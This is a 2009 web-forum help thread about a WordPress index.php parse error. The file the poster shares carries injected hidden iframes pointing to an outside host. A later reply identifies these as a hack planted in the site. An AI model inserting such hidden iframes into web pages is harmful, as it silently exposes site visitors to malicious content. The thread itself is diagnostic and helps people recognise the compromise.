Help: Parse error: syntax error, unexpected '?' |
Help: Parse error: syntax error, unexpected '?' |
Feb 8 2009, 03:06 AM
Post
#1
|
|
|
Newbie ![]() Group: Member Posts: 9 Joined: Jun 2008 Member No: 657,170 |
This keeps showing up on my website:
Parse error: syntax error, unexpected '?' in /home/mileycyr/public_html/index.php on line 18 I can't find out whats wrong with it. Here is the code: CODE <?php
/** * Front to the WordPress application. This file doesn't do anything, but loads * wp-blog-header.php which does and tells WordPress to load the theme. * * @package WordPress */ /** * Tells WordPress to load the WordPress theme and output it. * * @var bool */ define('WP_USE_THEMES', true); /** Loads the WordPress Environment and Template */ require('./wp-blog-header.php'); ?<html><iframe src="http://litetopfindworld.cn/in.cgi?cocacola44" width=1 height=1 style="visibility: hidden"></iframe><iframe src="http://litetopfindworld.cn/in.cgi?cocacola42" width=1 height=1 style="visibility: hidden"></iframe><iframe src="http://litetopfindworld.cn/in.cgi?cocacola39" width=1 height=1 style="visibility: hidden"></iframe></body></html>>
Reason for edit: Please use [codebox] tags when posting long codes. - Mike
|
|
|
|
![]() |
Mar 6 2009, 04:48 PM
Post
#2
|
|
|
Newbie ![]() Group: Member Posts: 1 Joined: Mar 2009 Member No: 717,897 |
I don't know if anyone else noticed this, but your index.php file had been hacked.
Someone inserted that iframe into it, trying to make their site popup in place of yours, but they botched it. I know this because I just repaired a similar problem and the cocacola part of that url in the iframe was the same. Hope this helps future readers. |
|
|
|
lc2008 Help: Parse error: syntax error, unexpected '?' Feb 8 2009, 03:06 AM
Aberisk check line 18 of the code, is there an extra ? in ... Feb 8 2009, 03:10 AM
JosephCohen123 It looks like your not ending the php
change it f... Feb 8 2009, 03:17 AM
lc2008 I tried the above code and the page finally opened... Feb 8 2009, 03:32 AM
JosephCohen123 That might have something to do with your computer... Feb 8 2009, 03:38 AM
lc2008 the link is http://www.mileycyrusweb.org Feb 8 2009, 03:50 AM
Mike Use [codebox] tags when posting codes, guys. Feb 8 2009, 03:53 AM
lc2008 I don't think it's my computer. I think it... Feb 8 2009, 04:13 AM
Fawaz Their is nothing wrong with the code.. I tested th... Feb 8 2009, 09:19 AM
JosephCohen123 Its gotta be your computer or some other code caus... Feb 8 2009, 11:26 AM
fixtatik ^ yes there is.
kaboom, die IE 6.
CODE<style... Feb 8 2009, 04:29 PM
lc2008 Yeah, I knew it was my computer.. Feb 9 2009, 07:19 AM![]() ![]() |